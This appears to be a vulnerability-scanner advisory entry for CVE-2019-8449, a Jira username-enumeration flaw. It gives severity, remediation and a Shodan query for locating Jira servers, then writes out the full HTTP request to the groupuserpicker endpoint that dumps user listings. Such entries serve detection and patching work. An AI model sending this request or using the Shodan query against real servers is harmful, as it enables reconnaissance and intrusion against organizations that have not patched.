| Title | Jira <8.4.0 - Information Disclosure |
|---|---|
| Author | harshbothra_ |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to gain access to sensitive information. |
| Remediation | Upgrade Jira to version 8.4.0 or later to fix the information disclosure vulnerability. |
| CVSS Score | 5.3 |
| EPSS Score | 0.68722 |
| CVE ID | CVE-2019-8449 |
| CWE ID | CWE-306 |
| Shodan Query | http.component:"Atlassian Jira"http.component:"atlassian jira"http.component:"atlassian confluence"cpe:"cpe:2.3:a:atlassian:jira" |
| Tags | cve cve2019 atlassian jira disclosure packetstorm vuln |
Jira before 8.4.0 is susceptible to information disclosure. The /rest/api/latest/groupuserpicker resource can allow an attacker to enumerate usernames, and thereby potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
GET /rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-8449.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-8449.pcap
N/AN/A